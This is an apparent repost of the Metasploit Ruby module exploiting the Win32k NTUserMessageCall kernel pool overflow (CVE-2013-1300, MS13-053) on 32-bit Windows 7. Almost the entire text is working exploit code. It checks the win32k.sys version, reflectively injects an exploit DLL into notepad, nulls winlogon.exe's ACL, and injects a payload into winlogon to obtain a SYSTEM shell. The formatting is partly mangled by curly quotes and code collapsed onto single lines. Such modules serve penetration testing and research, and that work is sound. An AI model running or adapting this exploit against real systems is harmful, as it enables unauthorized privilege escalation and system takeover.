Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require ‘msf/core’
require ‘msf/core/post/windows/reflective_dll_injection’
require ‘rex’

class Metasploit3 < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::FileInfo include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info={}) super(update_info(info, { 'Name' => ‘Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)’,
‘Description’ => %q{
A kernel pool overflow in Win32k which allows local privilege escalation.
The kernel shellcode nulls the ACL for the winlogon.exe process (a SYSTEM process).
This allows any unprivileged process to freely migrate to winlogon.exe, achieving
privilege escalation. Used in pwn2own 2013 by MWR to break out of chrome’s sandbox.
NOTE: when you exit the meterpreter session, winlogon.exe is likely to crash.
},
‘License’ => MSF_LICENSE,
‘Author’ =>
[
‘Nils’, #Original Exploit
‘Jon’, #Original Exploit
‘Donato Capitella ‘, # Metasploit Conversion
‘Ben Campbell ‘ # Help and Encouragement 😉
],
‘Arch’ => ARCH_X86,
‘Platform’ => ‘win’,
‘SessionTypes’ => [ ‘meterpreter’ ],
‘DefaultOptions’ =>
{
‘EXITFUNC’ => ‘thread’,
},
‘Targets’ =>
[
[ ‘Windows 7 SP0/SP1’, { } ]
],
‘Payload’ =>
{
‘Space’ => 4096,
‘DisableNops’ => true
},
‘References’ =>
[
[ ‘CVE’, ‘2013-1300’ ],
[ ‘MSB’, ‘MS13-053’ ],
[ ‘URL’, ‘https://labs.mwrinfosecurity.com/blog/2013/09/06/mwr-labs-pwn2own-2013-write-up—kernel-exploit/’ ]
],
‘DisclosureDate’ => ‘Dec 01 2013’,
‘DefaultTarget’ => 0
}))
end

def check
os = sysinfo[“OS”]
unless (os =~ /windows/i)
return Exploit::CheckCode::Unknown
end

file_path = expand_path(“%windir%”) << "\\system32\\win32k.sys" major, minor, build, revision, branch = file_version(file_path) vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") case build when 7600 return Exploit::CheckCode::Vulnerable when 7601 if branch == 18 return Exploit::CheckCode::Vulnerable if revision < 18176 else return Exploit::CheckCode::Vulnerable if revision < 22348 end end return Exploit::CheckCode::Unknown end def exploit if is_system? fail_with(Exploit::Failure::None, 'Session is already elevated') end if sysinfo["Architecture"] =~ /wow64/i fail_with(Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") end unless check == Exploit::CheckCode::Vulnerable fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system") end print_status("Launching notepad to host the exploit...") notepad_process_pid = cmd_exec_get_pid("notepad.exe") begin process = client.sys.process.open(notepad_process_pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError print_status("Operation failed. Hosting exploit in the current process...") process = client.sys.process.open end print_status("Reflectively injecting the exploit DLL into #{process.pid}...") library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2013-1300", "schlamperei.x86.dll") library_path = ::File.expand_path(library_path) print_status("Injecting exploit into #{process.pid}...") exploit_mem, offset = inject_dll_into_process(process, library_path) thread = process.thread.create(exploit_mem + offset) client.railgun.kernel32.WaitForSingleObject(thread.handle, 5000) client.sys.process.each_process do |p| if p['name'] == "winlogon.exe" winlogon_pid = p['pid'] print_status("Found winlogon.exe with PID #{winlogon_pid}") if execute_shellcode(payload.encoded, nil, winlogon_pid) print_good("Everything seems to have worked, cross your fingers and wait for a SYSTEM shell") else print_error("Failed to start payload thread") end break end end end end